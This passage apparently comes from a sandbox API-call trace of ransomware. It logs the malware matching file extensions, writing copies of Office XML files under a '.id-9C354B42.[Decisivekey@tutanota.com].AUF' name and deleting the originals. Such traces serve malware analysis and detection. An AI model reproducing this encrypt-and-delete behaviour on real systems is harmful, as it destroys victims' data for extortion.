[0211.457] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.457] lstrlenW (lpString=".dbf") returned 4 [0211.457] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.457] lstrlenW (lpString=".1cd") returned 4 [0211.457] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0211.457] lstrlenW (lpString=".jpg") returned 4 [0211.457] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.457] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.457] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0211.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.461] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=16852) returned 1 [0211.461] CloseHandle (hObject=0x1e8) returned 1 [0211.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0211.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.462] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.462] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.462] GetLastError () returned 0x0 [0211.462] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0211.468] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0211.469] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.469] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0211.469] SetEndOfFile (hFile=0x194) returned 1 [0211.470] CloseHandle (hObject=0x194) returned 1 [0211.470] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.470] SetEndOfFile (hFile=0x1e8) returned 1 [0211.470] CloseHandle (hObject=0x1e8) returned 1 [0211.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.471] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0211.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.471] lstrlenW (lpString=".doc") returned 4 [0211.471] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString=".docx") returned 5 [0211.471] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.471] lstrlenW (lpString=".pdf") returned 4 [0211.471] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString=".xls") returned 4 [0211.471] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString=".xlsx") returned 5 [0211.471] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.471] lstrlenW (lpString=".ppt") returned 4 [0211.471] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.471] lstrlenW (lpString=".zip") returned 4 [0211.471] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.471] lstrlenW (lpString=".rar") returned 4 [0211.471] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString=".bz2") returned 4 [0211.471] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString=".7z") returned 3 [0211.471] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.471] lstrlenW (lpString=".dbf") returned 4 [0211.471] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.471] lstrlenW (lpString=".1cd") returned 4 [0211.471] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.471] lstrlenW (lpString=".jpg") returned 4 [0211.471] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.472] lstrlenW (lpString=".doc") returned 4 [0211.472] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString=".docx") returned 5 [0211.472] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0211.472] lstrlenW (lpString=".pdf") returned 4 [0211.472] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString=".xls") returned 4 [0211.472] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString=".xlsx") returned 5 [0211.472] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0211.472] lstrlenW (lpString=".ppt") returned 4 [0211.472] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.472] lstrlenW (lpString=".zip") returned 4 [0211.472] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.472] lstrlenW (lpString=".rar") returned 4 [0211.472] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString=".bz2") returned 4 [0211.472] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString=".7z") returned 3 [0211.472] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.472] lstrlenW (lpString=".dbf") returned 4 [0211.472] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.472] lstrlenW (lpString=".1cd") returned 4 [0211.472] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0211.472] lstrlenW (lpString=".jpg") returned 4 [0211.472] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.472] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.472] lstrlenW (lpString="SETUP.XML") returned 9 [0211.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.473] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=31094) returned 1 [0211.473] CloseHandle (hObject=0x1e8) returned 1 [0211.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0211.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.473] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.473] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0211.741] GetLastError () returned 0x0 [0211.741] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x7976, lpOverlapped=0x0) returned 1 [0211.743] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0211.744] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.744] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.744] SetEndOfFile (hFile=0x1d8) returned 1 [0211.744] CloseHandle (hObject=0x1d8) returned 1 [0211.744] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.744] SetEndOfFile (hFile=0x1e8) returned 1 [0211.745] CloseHandle (hObject=0x1e8) returned 1 [0211.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.745] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString=".doc") returned 4 [0211.746] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".docx") returned 5 [0211.746] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.746] lstrlenW (lpString=".pdf") returned 4 [0211.746] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".xls") returned 4 [0211.746] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".xlsx") returned 5 [0211.746] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.746] lstrlenW (lpString=".ppt") returned 4 [0211.746] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString=".zip") returned 4 [0211.746] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.746] lstrlenW (lpString=".rar") returned 4 [0211.746] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".bz2") returned 4 [0211.746] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".7z") returned 3 [0211.746] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString=".dbf") returned 4 [0211.746] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString=".1cd") returned 4 [0211.746] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString=".jpg") returned 4 [0211.746] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.746] lstrlenW (lpString=".doc") returned 4 [0211.746] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".docx") returned 5 [0211.746] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.746] lstrlenW (lpString=".pdf") returned 4 [0211.746] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".xls") returned 4 [0211.746] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.746] lstrlenW (lpString=".xlsx") returned 5 [0211.746] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.746] lstrlenW (lpString=".ppt") returned 4 [0211.746] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.747] lstrlenW (lpString=".zip") returned 4 [0211.747] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.747] lstrlenW (lpString=".rar") returned 4 [0211.747] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.747] lstrlenW (lpString=".bz2") returned 4 [0211.747] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.747] lstrlenW (lpString=".7z") returned 3 [0211.747] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.747] lstrlenW (lpString=".dbf") returned 4 [0211.747] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.747] lstrlenW (lpString=".1cd") returned 4 [0211.747] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0211.747] lstrlenW (lpString=".jpg") returned 4 [0211.747] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.747] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.747] lstrlenW (lpString="PHONE.XML") returned 9 [0211.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.747] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1844) returned 1 [0211.748] CloseHandle (hObject=0x1e8) returned 1 [0211.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0211.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.748] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.748] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0211.748] GetLastError () returned 0x0 [0211.748] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x734, lpOverlapped=0x0) returned 1 [0211.801] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x740, lpOverlapped=0x0) returned 1 [0211.802] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.802] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.802] SetEndOfFile (hFile=0x1d8) returned 1 [0211.802] CloseHandle (hObject=0x1d8) returned 1 [0211.802] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.803] SetEndOfFile (hFile=0x1e8) returned 1 [0211.803] CloseHandle (hObject=0x1e8) returned 1 [0211.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.803] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0211.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString=".doc") returned 4 [0211.804] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".docx") returned 5 [0211.804] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0211.804] lstrlenW (lpString=".pdf") returned 4 [0211.804] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".xls") returned 4 [0211.804] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".xlsx") returned 5 [0211.804] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0211.804] lstrlenW (lpString=".ppt") returned 4 [0211.804] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString=".zip") returned 4 [0211.804] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.804] lstrlenW (lpString=".rar") returned 4 [0211.804] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".bz2") returned 4 [0211.804] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".7z") returned 3 [0211.804] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString=".dbf") returned 4 [0211.804] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString=".1cd") returned 4 [0211.804] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString=".jpg") returned 4 [0211.804] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0211.804] lstrlenW (lpString=".doc") returned 4 [0211.804] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.804] lstrlenW (lpString=".docx") returned 5 [0211.804] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0211.804] lstrlenW 